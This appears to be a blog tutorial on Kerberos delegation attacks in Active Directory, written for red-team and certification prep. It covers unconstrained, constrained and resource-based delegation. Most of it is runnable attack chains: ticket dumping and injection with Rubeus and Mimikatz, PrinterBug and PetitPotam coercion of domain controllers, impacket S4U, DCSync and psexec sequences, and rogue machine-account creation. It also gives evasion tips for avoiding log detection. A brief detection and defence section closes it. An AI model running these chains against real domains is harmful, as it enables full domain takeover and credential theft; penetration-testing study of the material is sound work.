ᛉ Yggdrasil

Active Directory

Active Directory Delegation Attacks

15 Sep 2026 · 4,725 words · 21 min

Contents

A comprehensive deep-dive into all three types of Kerberos delegation attacks in Active Directory: Unconstrained, Constrained, and Resource-Based Constrained Delegation (RBCD). Covers the theory, enumeration, exploitation, tools, and defenses for each type. Written for red teamers and CPTS/OSCP prep.


1. Kerberos Delegation — Core Concepts

WHAT IS KERBEROS DELEGATION?
──────────────────────────────────────────────────────────────
Delegation allows a SERVICE to impersonate a USER and access
OTHER resources on that user's behalf.

REAL-WORLD EXAMPLE:
User → logs into Web Server
Web Server → needs to query SQL Server AS that user
→ Delegation lets Web Server use user's identity to hit SQL

WITHOUT DELEGATION:
Web Server can only connect to SQL as itself (machine account)

WITH DELEGATION:
Web Server gets user's Kerberos ticket → presents it to SQL
→ SQL sees the request as coming FROM the user

WHY IT'S DANGEROUS:
→ If an attacker compromises a server with delegation enabled
→ They can impersonate ANY user (including Domain Admins!)
→ And access ANY service that server is trusted to delegate to

KERBEROS TICKET TYPES (Important for attacks):
──────────────────────────────────────────────
TGT (Ticket Granting Ticket)
→ Issued by KDC (AS-REQ/AS-REP)
→ Proves identity to the KDC
→ Used to request service tickets
→ Valid for 10 hours by default
→ MOST VALUABLE — lets you request any TGS

TGS (Ticket Granting Service / Service Ticket)
→ Issued by KDC (TGS-REQ/TGS-REP)
→ Grants access to a SPECIFIC service
→ Contains PAC (Privilege Attribute Certificate = group memberships)
→ Less valuable than TGT alone

FORWARDABLE FLAG:
→ TGT/TGS can be marked as "forwardable"
→ Allows delegation services to forward tickets on user's behalf
→ This is the core mechanism delegation abuses

S4U EXTENSIONS (Key for Constrained + RBCD attacks):
──────────────────────────────────────────────────────
S4U2Self (Service for User to Self)
→ Allows a service to obtain a TGS for ANY user TO ITSELF
→ No password or TGT of target user needed!
→ Generates "impersonated" service ticket

S4U2Proxy (Service for User to Proxy)
→ Allows a service to use the S4U2Self ticket
to get a TGS to ANOTHER service on behalf of the user
→ Requires the S4U2Self ticket to be FORWARDABLE
→ This is how constrained delegation works

FLOW:
Attacker (compromised account with delegation)
↓
S4U2Self → "Give me a TGS for Administrator TO me"
↓
S4U2Proxy → "Use that ticket to get me a TGS to CIFS/DC01"
↓
Present TGS to DC01 → Access as Administrator!


2. Delegation Types — Overview

THREE TYPES OF KERBEROS DELEGATION:
═══════════════════════════════════════════════════════════════

TYPE 1: UNCONSTRAINED DELEGATION
→ Introduced: Windows Server 2000
→ The server can impersonate users to ANY service in the domain
→ Server receives and stores user's full TGT (most dangerous!)
→ Attribute: userAccountControl flag = TRUSTED_FOR_DELEGATION
→ Also: msDS-AllowedToDelegateTo = NOT set (open ended)

TYPE 2: CONSTRAINED DELEGATION
→ Introduced: Windows Server 2003
→ The server can only impersonate users to SPECIFIC services
→ Admin must specify which SPNs the server can delegate to
→ Attribute: msDS-AllowedToDelegateTo = list of target SPNs
→ Uses S4U2Self + S4U2Proxy extensions
→ Two modes:
a) Kerberos only (requires forwardable ticket)
b) Protocol Transition (any auth type → still delegate!)

TYPE 3: RESOURCE-BASED CONSTRAINED DELEGATION (RBCD)
→ Introduced: Windows Server 2012
→ Control is on the RESOURCE (target), not the service
→ Target computer says: "These accounts can delegate TO ME"
→ Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity
→ Attacker-writable in many scenarios → very abusable!

COMPARISON TABLE:
══════════════════════════════════════════════════════════════

Feature Unconstrained Constrained RBCD
Feature Unconstrained Constrained RBCD
Introduced Win2000 Win2003 Win2012
Who controls it Admin on SERVICE Admin on SERVICE Admin on RESOURCE
Scope ANY service SPECIFIC SPNs only Set by TARGET
Ticket stored Full TGT No (uses S4U) No (uses S4U)
Requires DA to set Yes Yes No (just GenericWrite!)
Attack prerequisite Compromise server Compromise account Write access on computer object
S4U used No S4U2Self+S4U2Proxy S4U2Self+S4U2Proxy
AD attribute UAC flag msDS-AllowedToDelegateTo msDS-AllowedToActOnBehalfOfOtherIdentity
Danger level ★★★★★ CRITICAL ★★★★☆ HIGH ★★★★★ CRITICAL

3. Unconstrained Delegation

3.1 — How It Works

UNCONSTRAINED DELEGATION FLOW:
──────────────────────────────────────────────────────────────

  1. User authenticates to Web Server (with unconstrained delegation)

  2. KDC issues TGT to user → user sends TGT WITH forwardable flag

  3. Web Server receives user's TGT → STORES IT IN LSASS MEMORY

  4. Web Server uses stored TGT to access any other service as the user

  5. TGTs accumulate as users authenticate to the server!

ATTACKER PERSPECTIVE:
──────────────────────────────────────────────────────────────
If you compromise a machine with unconstrained delegation:
→ Dump LSASS → find TGTs of all users who recently authenticated
→ If a Domain Admin authenticated → you have DA TGT → full domain!
→ If no high-priv users → COERCE authentication from DC!
(PrinterBug / PetitPotam → forces DC to authenticate to your server)
(DC sends its TGT → you have DC TGT → DCSync!)

3.2 — Enumeration

# ==========================================
# FIND UNCONSTRAINED DELEGATION HOSTS
# ==========================================

# PowerView (from Windows foothold)
Get-DomainComputer -Unconstrained | select name, dnshostname, useraccountcontrol
Get-DomainUser -Unconstrained | select samaccountname       # Users (rare)

# ADSearch (Linux-friendly)
ADSearch.exe --search "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))"

# LDAP query (from Linux with creds)
ldapsearch -H ldap://DC_IP -D "user@domain.local" -w 'pass' \
    -b "DC=domain,DC=local" \
    "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=524288))" \
    name dnshostname userAccountControl

# NetExec / CrackMapExec
netexec ldap DC_IP -u user -p pass --trusted-for-delegation

# BloodHound query (Cypher)
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
MATCH (u:User {unconstraineddelegation:true}) RETURN u.name

# NOTE: Domain Controllers ALWAYS have unconstrained delegation
# → Only interesting on NON-DC machines!
# Filter DCs out:
Get-DomainComputer -Unconstrained | Where-Object {$_.samaccountname -notlike "*DC*"}

3.3 — Attack Path 1: Dump Existing TGTs

# ==========================================
# STEP 1: Compromise the server with unconstrained delegation
# (SYSTEM access required)
# ==========================================

# ==========================================
# STEP 2: Dump all Kerberos tickets from LSASS
# ==========================================

# Mimikatz — list all tickets
sekurlsa::tickets /export
# OR
sekurlsa::logonpasswords

# Rubeus — dump all tickets
.\Rubeus.exe dump /nowrap
.\Rubeus.exe dump /service:krbtgt /nowrap   # Only TGTs

# ==========================================
# STEP 3: Find high-value TGTs (look for DA or krbtgt)
# ==========================================

# In Rubeus output look for:
# ServiceName: krbtgt
# UserName: Administrator / Domain Admin accounts
# Valid until: (check not expired)

# ==========================================
# STEP 4: Import the TGT and use it
# ==========================================

# Rubeus (inject directly into current session)
.\Rubeus.exe ptt /ticket:<BASE64_TICKET>

# Mimikatz (from .kirbi file exported)
kerberos::ptt C:\path\to\ticket.kirbi

# Verify ticket loaded
klist

# ==========================================
# STEP 5: Access resources as the impersonated user
# ==========================================

# If DA TGT imported → full domain access!
dir \\DC01\C$
PsExec.exe \\DC01 cmd.exe
.\Rubeus.exe ptt /ticket:<DA_TGT> && .\PsExec.exe \\DC01 cmd.exe

3.4 — Attack Path 2: Coerce DC Authentication (PrinterBug / PetitPotam)

# ==========================================
# SCENARIO: No high-priv users authenticated yet
# → FORCE the DC to authenticate to your server
# → DC sends ITS TGT → you get DC machine account TGT → DCSync!
# ==========================================

# STEP 1: On compromised server — start Rubeus monitor
.\Rubeus.exe monitor /interval:5 /nowrap
# This watches for new TGTs every 5 seconds

# STEP 2: Trigger coerced authentication FROM DC TO compromised server

# Method A: PrinterBug (MS-RPRN — requires domain user only)
python3 printerbug.py domain/user:pass@DC_IP COMPROMISED_SERVER_IP
# OR:
.\SpoolSample.exe DC_IP COMPROMISED_SERVER_IP

# Method B: PetitPotam (MS-EFSRPC — can work unauthenticated!)
python3 PetitPotam.py -u user -p pass -d domain.local \
    COMPROMISED_SERVER_IP DC_IP
# Without creds (sometimes works):
python3 PetitPotam.py COMPROMISED_SERVER_IP DC_IP

# Method C: Coercer (automated — tries all coercion methods)
python3 Coercer.py coerce -t DC_IP -l COMPROMISED_SERVER_IP \
    -u user -p pass -d domain.local

# STEP 3: Catch the DC machine account TGT in Rubeus monitor output
# Look for: ServiceName: krbtgt | UserName: DC01$ (DC machine account)

# STEP 4: Import DC machine account TGT
.\Rubeus.exe ptt /ticket:<DC_TGT_BASE64>

# STEP 5: DCSync as DC machine account!
mimikatz# lsadump::dcsync /user:krbtgt /domain:domain.local
mimikatz# lsadump::dcsync /all /csv

# OR with impacket from Linux:
getST.py -spn 'cifs/DC01.domain.local' -impersonate 'Administrator' \
    domain.local/'DC01$' -hashes :<DC_MACHINE_HASH>
secretsdump.py -k -no-pass DC01.domain.local

# ==========================================
# FROM LINUX — UNCONSTRAINED DELEGATION ATTACK
# ==========================================

# STEP 1: krbrelayx setup on attacker machine
# Install: pip3 install krbrelayx
# Start listener:
python3 krbrelayx.py --krbsalt DOMAIN.LOCALUSERNAME \
    --krbpass 'MachineAccountPassword'

# STEP 2: Coerce (PrinterBug from Linux):
python3 printerbug.py domain.local/user:pass@DC_IP ATTACKER_IP

# STEP 3: krbrelayx catches the TGT → saves it as .ccache

# STEP 4: Use the .ccache:
export KRB5CCNAME=/path/to/DC01.ccache
secretsdump.py -k -no-pass -dc-ip DC_IP domain.local/DC01\$@DC_IP

4. Constrained Delegation

4.1 — How It Works

CONSTRAINED DELEGATION FLOW:
──────────────────────────────────────────────────────────────

CONFIGURED BY ADMIN:
"WebServer can impersonate users to ONLY mssql/SQLSERVER"
→ msDS-AllowedToDelegateTo = mssql/SQLSERVER

ATTACK FLOW (once WebServer is compromised):
1. Attacker has WebServer's hash/password
2. S4U2Self: Request TGS for Administrator TO WebServer (self)
→ KDC issues forwardable TGS for Admin (no Admin creds needed!)
3. S4U2Proxy: Use that TGS to get TGS for Admin TO mssql/SQLSERVER
→ KDC issues TGS for Admin to access MSSQL!
4. Present TGS to MSSQL → access as Administrator!

KEY INSIGHT:
→ You can impersonate ANY user (including DA) to the target service
→ Even protected users / disabled users → sometimes still works
→ Protocol Transition mode → doesn't even need Kerberos auth first!

WHAT YOU CAN ACCESS:
→ Only the SPECIFIC SPNs listed in msDS-AllowedToDelegateTo
→ BUT: If you have cifs/TARGET → you have full remote FS access!
→ If you have host/TARGET → you have WMI + remote execution!
→ If you have ldap/DC → you can DCSync!

4.2 — Enumeration

# ==========================================
# FIND CONSTRAINED DELEGATION ACCOUNTS
# ==========================================

# PowerView
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select name, msds-allowedtodelegateto

# Detailed view
Get-DomainUser -TrustedToAuth | select samaccountname,
    @{Name='AllowedToDelegate';Expression={$_.'msDS-AllowedToDelegateTo'}}

# LDAP query
ldapsearch -H ldap://DC_IP -D "user@domain.local" -w 'pass' \
    -b "DC=domain,DC=local" \
    "(msDS-AllowedToDelegateTo=*)" \
    sAMAccountName msDS-AllowedToDelegateTo userAccountControl

# BloodHound (Cypher)
MATCH (u:User) WHERE u.allowedtodelegate IS NOT NULL RETURN u.name, u.allowedtodelegate
MATCH (c:Computer) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate

# NetExec
netexec ldap DC_IP -u user -p pass -M find-delegation

# Find accounts with AnyService (protocol transition):
# Look for userAccountControl with TRUSTED_TO_AUTH_FOR_DELEGATION (0x1000000)
Get-DomainUser | Where-Object {$_.useraccountcontrol -band 0x1000000}

# ==========================================
# IDENTIFY ATTACK SURFACE FROM OUTPUT
# ==========================================

# msDS-AllowedToDelegateTo value → attack surface:
# cifs/SERVER       → read/write file system → psexec → SYSTEM!
# http/SERVER       → web service impersonation
# ldap/DC           → DCSync rights!
# host/SERVER       → WMI execution → code exec!
# mssql/SERVER      → database access as any user
# krbtgt/domain     → Golden Ticket-equivalent!

4.3 — Exploitation

# ==========================================
# SCENARIO: Compromised account svc_web
# svc_web has constrained delegation to:
# → cifs/FILE01.domain.local
# ==========================================

# METHOD A: RUBEUS (Windows)
# ──────────────────────────────────────────

# Step 1: Get Kerberos ticket for svc_web (need password or hash)
# If you have password:
.\Rubeus.exe asktgt /user:svc_web /password:Password123! \
    /domain:domain.local /dc:DC_IP /nowrap

# If you have NTLM hash:
.\Rubeus.exe asktgt /user:svc_web /rc4:<NTLM_HASH> \
    /domain:domain.local /dc:DC_IP /nowrap

# Step 2: S4U attack — impersonate Administrator to cifs/FILE01
.\Rubeus.exe s4u /ticket:<TGT_BASE64> \
    /impersonateuser:Administrator \
    /msdsspn:cifs/FILE01.domain.local \
    /ptt

# Step 3: Verify + access
klist
dir \\FILE01\C$
type \\FILE01\C$\Users\Administrator\Desktop\proof.txt

# To get SYSTEM shell via PsExec:
.\PsExec.exe \\FILE01 cmd.exe

# Step 4 (optional): Alternate service — get HOST too (exec rights)
.\Rubeus.exe s4u /ticket:<TGT_BASE64> \
    /impersonateuser:Administrator \
    /msdsspn:cifs/FILE01.domain.local \
    /altservice:host \
    /ptt
# altservice trick: KDC only validates the server part, not service!
# → delegate to cifs/ → request altservice:host/ for free!

# ──────────────────────────────────────────
# METHOD B: IMPACKET (Linux / No Windows needed)
# ──────────────────────────────────────────

# getST.py automates the entire S4U chain:

# With password:
getST.py -spn cifs/FILE01.domain.local \
    -impersonate Administrator \
    domain.local/svc_web:Password123! \
    -dc-ip DC_IP

# With hash:
getST.py -spn cifs/FILE01.domain.local \
    -impersonate Administrator \
    -hashes :<NTLM_HASH> \
    domain.local/svc_web \
    -dc-ip DC_IP

# Output: Administrator.ccache (Kerberos ticket file)

# Use the ticket:
export KRB5CCNAME=./Administrator.ccache

# List DC filesystem:
smbclient.py -k -no-pass domain.local/Administrator@FILE01.domain.local

# Dump secrets:
secretsdump.py -k -no-pass FILE01.domain.local

# Get shell:
psexec.py -k -no-pass FILE01.domain.local

# ==========================================
# SPECIAL CASE: Delegation to ldap/DC → DCSync!
# ==========================================

# If account delegates to ldap/DC01:
getST.py -spn ldap/DC01.domain.local \
    -impersonate Administrator \
    domain.local/svc_web:pass \
    -dc-ip DC_IP

export KRB5CCNAME=./Administrator.ccache
secretsdump.py -k -no-pass -just-dc DC01.domain.local
# → All domain hashes! Full compromise!

# ==========================================
# SPECIAL CASE: Constrained Delegation with Protocol Transition
# (TRUSTED_TO_AUTH_FOR_DELEGATION set)
# ==========================================

# Protocol transition = no initial Kerberos needed from victim
# S4U2Self works with ANY authentication (NTLM, basic, etc.)
# → Even more powerful than Kerberos-only constrained delegation

# Check for protocol transition:
Get-DomainUser svc_web | select useraccountcontrol
# 0x1000000 flag = TRUSTED_TO_AUTH_FOR_DELEGATION = protocol transition!

# Attack is identical — getST.py handles it transparently

5. Resource-Based Constrained Delegation (RBCD)

5.1 — How It Works

RBCD CONCEPT:
──────────────────────────────────────────────────────────────
Traditional delegation: Source says "I can delegate TO these targets"
RBCD: Target says "These sources are allowed to delegate TO ME"

ATTRIBUTE: msDS-AllowedToActOnBehalfOfOtherIdentity
→ Set on the TARGET computer object
→ Contains SID(s) of accounts allowed to delegate to this computer
→ ANY account with GenericWrite/GenericAll on target computer
can SET this attribute! (Does not require Domain Admin!)

WHY RBCD IS DEVASTATING:
──────────────────────────────────────────────────────────────
Traditional delegation: Only DA can configure it
RBCD: Anyone with GenericWrite on a computer object can set it!

COMMON SCENARIOS WHERE RBCD IS POSSIBLE:
1. GenericWrite / GenericAll ACL on target computer object
2. WriteProperty on target computer
3. WriteDACL on target computer (modify your own ACL first)
4. Ownership of target computer object
5. SYSTEM on ANY machine in the domain (write RBCD on itself!)
6. Machine Account Quota > 0 (default = 10) → create computer → RBCD

RBCD ATTACK REQUIREMENTS:
──────────────────────────────────────────────────────────────
1. An account you CONTROL that has an SPN (Service Principal Name)
→ Machine accounts always have SPNs
→ Service accounts may have SPNs
→ OR: create a new machine account (if MAQ > 0)
2. Write access on the TARGET computer's AD object
→ To set msDS-AllowedToActOnBehalfOfOtherIdentity

RBCD ATTACK FLOW:
──────────────────────────────────────────────────────────────
[ATTACKER CONTROLS: FAKE$ (machine account)]
[ATTACKER HAS: GenericWrite on TARGET]
↓
Set TARGET's msDS-AllowedToActOnBehalfOfOtherIdentity = FAKE$
↓
S4U2Self: FAKE$ requests TGS for Administrator TO FAKE$
↓
S4U2Proxy: FAKE$ requests TGS for Administrator TO cifs/TARGET
↓
Present TGS → SYSTEM on TARGET!

5.2 — Enumeration

# ==========================================
# FIND RBCD ATTACK PATHS
# ==========================================

# Find computers with msDS-AllowedToActOnBehalfOfOtherIdentity set:
Get-DomainComputer | Where-Object {$_.'msds-allowedtoactonbehalfofotheridentity' -ne $null} | \
    select name, 'msds-allowedtoactonbehalfofotheridentity'

# Find accounts with write access on computer objects (ACL analysis):
# PowerView
Get-DomainObjectAcl -Identity TARGET_COMPUTER -ResolveGUIDs | \
    Where-Object {$_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll|WriteDacl"} | \
    select SecurityIdentifier, ActiveDirectoryRights

# Translate SID to name:
Convert-SidToName <SID>

# BloodHound (Best — automated path finding)
# Query: "Shortest Paths to Domain Admins"
# Look for edges: GenericWrite, GenericAll, WriteDACL on computer objects

# Check if YOUR current user has write access on any computer:
$currentSID = (Get-DomainUser $env:USERNAME).objectsid
Get-DomainObjectAcl -LDAPFilter "(objectClass=computer)" -ResolveGUIDs | \
    Where-Object {$_.SecurityIdentifier -eq $currentSID -and
                  $_.ActiveDirectoryRights -match "WriteProperty|GenericWrite|GenericAll"}

# LDAP from Linux:
ldapsearch -H ldap://DC_IP -D "user@domain.local" -w 'pass' \
    -b "DC=domain,DC=local" \
    "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" \
    sAMAccountName msDS-AllowedToActOnBehalfOfOtherIdentity

# Check Machine Account Quota (MAQ):
Get-DomainObject -Identity "DC=domain,DC=local" -Properties ms-DS-MachineAccountQuota
# Linux:
ldapsearch -H ldap://DC_IP -D "user@domain.local" -w 'pass' \
    -b "DC=domain,DC=local" "(objectClass=domain)" ms-DS-MachineAccountQuota
# If > 0 → any domain user can create machine accounts → RBCD possible!

5.3 — Exploitation (Full Chain)

# ==========================================
# FULL RBCD ATTACK CHAIN
# SCENARIO: We have GenericWrite on WORKSTATION01
#           We want SYSTEM on WORKSTATION01
# ==========================================

# ──────────────────────────────────────────
# WINDOWS ATTACK (PowerView + Rubeus)
# ──────────────────────────────────────────

# STEP 1: Create fake machine account (or use existing one you control)
# Using PowerMad:
. .\Powermad.ps1
New-MachineAccount -MachineAccount FAKE$ -Password $(ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
# Verify:
Get-DomainComputer FAKE$ | select name, objectsid

# Get SID of FAKE$:
$FakeSID = (Get-DomainComputer FAKE$).objectsid

# STEP 2: Set RBCD on target computer
# (Requires GenericWrite on WORKSTATION01)
$SD = New-Object Security.AccessControl.RawSecurityDescriptor \
    -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$FakeSID)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)

Get-DomainComputer WORKSTATION01 | Set-DomainObject \
    -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}

# Verify:
Get-DomainComputer WORKSTATION01 | select 'msds-allowedtoactonbehalfofotheridentity'

# STEP 3: Get TGT for FAKE$ machine account
.\Rubeus.exe asktgt /user:FAKE$ /password:Password123! \
    /domain:domain.local /dc:DC_IP /nowrap

# STEP 4: S4U2Self + S4U2Proxy → impersonate Administrator on WORKSTATION01
.\Rubeus.exe s4u /ticket:<FAKE_TGT_BASE64> \
    /impersonateuser:Administrator \
    /msdsspn:cifs/WORKSTATION01.domain.local \
    /ptt

# STEP 5: Access WORKSTATION01 as Administrator!
klist
dir \\WORKSTATION01\C$
.\PsExec.exe \\WORKSTATION01 cmd.exe
# → SYSTEM on WORKSTATION01!

# ──────────────────────────────────────────
# LINUX ATTACK (Impacket)
# ──────────────────────────────────────────

# STEP 1: Create fake machine account
addcomputer.py -computer-name 'FAKE$' -computer-pass 'Password123!' \
    -dc-ip DC_IP domain.local/user:pass

# STEP 2: Set RBCD attribute on target
rbcd.py -f FAKE$ -t WORKSTATION01 -dc-ip DC_IP \
    -action write domain.local/user:pass
# Verify:
rbcd.py -t WORKSTATION01 -dc-ip DC_IP \
    -action read domain.local/user:pass

# STEP 3: Get TGT for FAKE$ (to prove we know its password)
getTGT.py -dc-ip DC_IP domain.local/'FAKE$':Password123!
export KRB5CCNAME=./FAKE\$.ccache

# STEP 4: S4U full chain → get ticket for Administrator on target
getST.py -spn cifs/WORKSTATION01.domain.local \
    -impersonate Administrator \
    -dc-ip DC_IP \
    domain.local/'FAKE$':Password123!

export KRB5CCNAME=./Administrator.ccache

# STEP 5: Remote access as Administrator
psexec.py -k -no-pass WORKSTATION01.domain.local
wmiexec.py -k -no-pass WORKSTATION01.domain.local
smbclient.py -k -no-pass WORKSTATION01.domain.local
secretsdump.py -k -no-pass WORKSTATION01.domain.local

# ==========================================
# RBCD ON DOMAIN CONTROLLER (Full Domain Compromise)
# ==========================================

# If you have GenericWrite on the DC's computer object:
# Set RBCD → FAKE$ can delegate to DC → impersonate DA → DCSync!

rbcd.py -f FAKE$ -t DC01 -dc-ip DC_IP -action write domain.local/user:pass

getST.py -spn cifs/DC01.domain.local \
    -impersonate Administrator \
    -dc-ip DC_IP \
    domain.local/'FAKE$':Password123!

export KRB5CCNAME=./Administrator.ccache
secretsdump.py -k -no-pass DC01.domain.local
# → ALL domain hashes → Full compromise!

# ==========================================
# CLEANUP (Important for engagements!)
# ==========================================

# Remove RBCD attribute after attack:
rbcd.py -f FAKE$ -t WORKSTATION01 -dc-ip DC_IP \
    -action remove domain.local/user:pass

# Delete fake machine account:
addcomputer.py -computer-name 'FAKE$' \
    -dc-ip DC_IP -action delete domain.local/user:pass

# Windows cleanup:
Set-DomainObject -Identity WORKSTATION01 \
    -Clear 'msds-allowedtoactonbehalfofotheridentity'

6. Machine Account Quota (MAQ) + RBCD Chain

MAQ ATTACK — WHEN YOU HAVE NO SPN-ENABLED ACCOUNT:
──────────────────────────────────────────────────────────────
By default: ms-DS-MachineAccountQuota = 10
→ ANY domain user can create up to 10 computer accounts!
→ Computer accounts ALWAYS have SPNs
→ Create fake computer → use for RBCD

REQUIREMENT: Domain user + GenericWrite on any computer

RISK LEVEL: ★★★★★ — One of the most underrated AD attack chains

# ==========================================
# MAQ CHECK + RBCD FULL CHAIN
# ==========================================

# Check MAQ:
(Get-DomainObject -Identity "DC=domain,DC=local").ms-DS-MachineAccountQuota
# If > 0 → proceed!

# COUNT: How many machines did current user already create?
Get-DomainComputer -LDAPFilter "(ms-DS-CreatorSID=$(whoami /user | awk '{print $2}'))"

# ==========================================
# ONE-COMMAND AUTOMATED CHAIN: LINUX
# ==========================================

# Step 1: Create machine account
addcomputer.py -computer-name 'ATTACKPC$' -computer-pass 'Hacked123!' \
    -dc-ip DC_IP 'domain.local/regularuser:userpass'

# Step 2: Set RBCD
rbcd.py -f 'ATTACKPC$' -t 'TARGET-PC' -action write \
    -dc-ip DC_IP 'domain.local/regularuser:userpass'

# Step 3: Get service ticket (S4U chain)
getST.py -spn 'cifs/TARGET-PC.domain.local' \
    -impersonate 'Administrator' \
    -dc-ip DC_IP 'domain.local/ATTACKPC$:Hacked123!'

# Step 4: Use ticket
export KRB5CCNAME='./Administrator@cifs_TARGET-PC.domain.local@DOMAIN.LOCAL.ccache'
psexec.py -k -no-pass TARGET-PC.domain.local

# ==========================================
# OPSEC CONSIDERATIONS
# ==========================================

# Creating machine accounts = LOGGED in Security event 4741
# Set a realistic machine account name (not ATTACKER$, HACKME$)
# Use randomized password (not simple passwords — logged in clear by some SIEMs)
# Clean up machine account ASAP after attack
# Alternatively: use an existing machine account you already compromised
#   → No need to create new one = less noise!

# Set realistic name:
addcomputer.py -computer-name 'WKSTN-7291$' -computer-pass 'xK9@mP2#vL5!' \
    -dc-ip DC_IP 'domain.local/user:pass'

7. Delegation Enumeration Master Reference

# ==========================================
# ONE-STOP ENUMERATION (Run All At Once)
# ==========================================

# PowerView — full delegation audit:
Import-Module .\PowerView.ps1

Write-Host "=== UNCONSTRAINED DELEGATION (Computers) ===" -ForegroundColor Red
Get-DomainComputer -Unconstrained -Properties name,dnshostname,useraccountcontrol |
    Where-Object {$_.samaccountname -notlike "*DC*"} | Format-Table

Write-Host "=== UNCONSTRAINED DELEGATION (Users) ===" -ForegroundColor Red
Get-DomainUser -Unconstrained -Properties samaccountname,useraccountcontrol | Format-Table

Write-Host "=== CONSTRAINED DELEGATION (Users) ===" -ForegroundColor Yellow
Get-DomainUser -TrustedToAuth -Properties samaccountname,'msds-allowedtodelegateto' |
    Format-Table

Write-Host "=== CONSTRAINED DELEGATION (Computers) ===" -ForegroundColor Yellow
Get-DomainComputer -TrustedToAuth -Properties name,'msds-allowedtodelegateto' |
    Format-Table

Write-Host "=== RBCD (Computers with attribute set) ===" -ForegroundColor Cyan
Get-DomainComputer -Properties name,'msds-allowedtoactonbehalfofotheridentity' |
    Where-Object {$_.'msds-allowedtoactonbehalfofotheridentity' -ne $null} | Format-Table

Write-Host "=== MACHINE ACCOUNT QUOTA ===" -ForegroundColor Green
(Get-DomainObject -Identity "DC=domain,DC=local").'ms-DS-MachineAccountQuota'

# ==========================================
# IMPACKET (All delegation enum from Linux)
# ==========================================

# findDelegation.py (best single-command enum)
findDelegation.py domain.local/user:pass -dc-ip DC_IP
# Output shows:
# Account Name | Account Type | Delegation Type | Delegation To

# ==========================================
# NETEXEC / CRACKMAPEXEC
# ==========================================

netexec ldap DC_IP -u user -p pass --trusted-for-delegation
netexec ldap DC_IP -u user -p pass -M find-delegation
netexec ldap DC_IP -u user -p pass --kdcHost DC_IP -M maq

# ==========================================
# BLOODHOUND — AUTOMATED PATH FINDING
# ==========================================

# After importing data → run these custom queries:

# Find all unconstrained delegation computers (not DCs):
MATCH (c:Computer {unconstraineddelegation:true}) 
WHERE NOT c.name CONTAINS "DC" 
RETURN c.name

# Find constrained delegation paths:
MATCH (n) WHERE n.allowedtodelegate IS NOT NULL 
RETURN n.name, n.allowedtodelegate

# Find RBCD opportunities (who has write on computers):
MATCH p=(u)-[:GenericWrite|GenericAll|WriteDacl|WriteOwner]->(c:Computer) 
RETURN p

# Find path from owned user to DA via delegation:
MATCH p=shortestPath((u:User {owned:true})-[*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}))
WHERE ANY(r IN relationships(p) WHERE type(r) IN ['AllowedToDelegate','AllowedToAct'])
RETURN p

8. BloodHound — Finding Delegation Paths

BLOODHOUND EDGES TO LOOK FOR:
──────────────────────────────────────────────────────────────

AllowedToDelegate → Constrained Delegation (account → SPN)
AllowedToAct → RBCD (who can delegate TO the computer)
GenericWrite → Can set RBCD on this computer!
GenericAll → Full control → set RBCD!
WriteDACL → Can give yourself GenericWrite → RBCD!
WriteOwner → Take ownership → WriteDACL → GenericWrite → RBCD!

WORKFLOW:
1. Import BloodHound data (bloodhound-python -c all)
2. Mark compromised accounts as "Owned" (right-click → Mark as Owned)
3. Click "Analysis" tab → "Shortest Paths to Domain Admins"
4. Look for delegation edges in the path
5. Right-click any edge → "Help" → exact attack commands shown!

MOST USEFUL BLOODHOUND CYPHER QUERIES FOR DELEGATION:
──────────────────────────────────────────────────────────────

-- All unconstrained delegation non-DC computers
MATCH (c:Computer {unconstraineddelegation:true})
WHERE NOT c.name STARTS WITH "DC"
RETURN c.name, c.operatingsystem

-- All constrained delegation paths
MATCH p=(a)-[:AllowedToDelegate]->(b)
RETURN a.name, b.name

-- RBCD opportunities from owned accounts
MATCH p=(u:User {owned:true})-[:GenericWrite|GenericAll]->(c:Computer)
RETURN u.name, c.name

-- Full RBCD chain to DA
MATCH p=(u:User {owned:true})-[:GenericWrite|GenericAll]->(c:Computer)-[:AllowedToAct]->(target)
RETURN p

-- Computers that can be used to compromise DA via delegation
MATCH (c:Computer)-[:AllowedToDelegate]->(t)
WHERE t.name CONTAINS "DC"
RETURN c.name, t.name

-- Find delegation paths from current owned nodes to high-value targets
MATCH p=shortestPath((owned {owned:true})-[*1..5]->(hvt:Computer))
WHERE ANY(r IN relationships(p) WHERE type(r) IN ['AllowedToDelegate','AllowedToAct','GenericWrite'])
RETURN p LIMIT 10

9. Detection & Defense

DETECTION — UNCONSTRAINED DELEGATION:
──────────────────────────────────────────────────────────────
Event ID 4769 → Kerberos service ticket requested
→ Look for: forwardable flag in ticket options (0x40810010)
→ Especially from servers NOT DCs requesting forwardable TGTs

Event ID 4742 → Computer account changed
→ TRUSTED_FOR_DELEGATION flag added to UAC

Event ID 4624 → Logon events on unconstrained delegation servers
→ High-priv accounts logging into non-DC servers = alert!

SIEM alert: Coercion attempts (RPC calls MS-RPRN, MS-EFSRPC from external IPs)

DETECTION — CONSTRAINED DELEGATION:
──────────────────────────────────────────────────────────────
Event ID 4769 → TGS requests with S4U2Self / S4U2Proxy
→ Look for: service ticket for privileged user requested BY service account
→ Especially if service account has no legitimate reason to access target

Event ID 4648 → Explicit credential logon using delegated ticket

DETECTION — RBCD:
──────────────────────────────────────────────────────────────
Event ID 4662 → Object operation (access to computer object)
Event ID 4741 → New computer account created (MAQ abuse!)
Event ID 5136 → Directory service object modified
→ Attribute changed: msDS-AllowedToActOnBehalfOfOtherIdentity
→ This is THE indicator of RBCD configuration change!
→ Alert on ANY modification to this attribute

DEFENSIVE MITIGATIONS:
──────────────────────────────────────────────────────────────

AGAINST UNCONSTRAINED DELEGATION:
→ Never configure unconstrained delegation on non-DC machines
→ Add all privileged accounts (DA, EA, Schema Admins) to
"Protected Users" security group
→ Protected Users CANNOT be delegated!
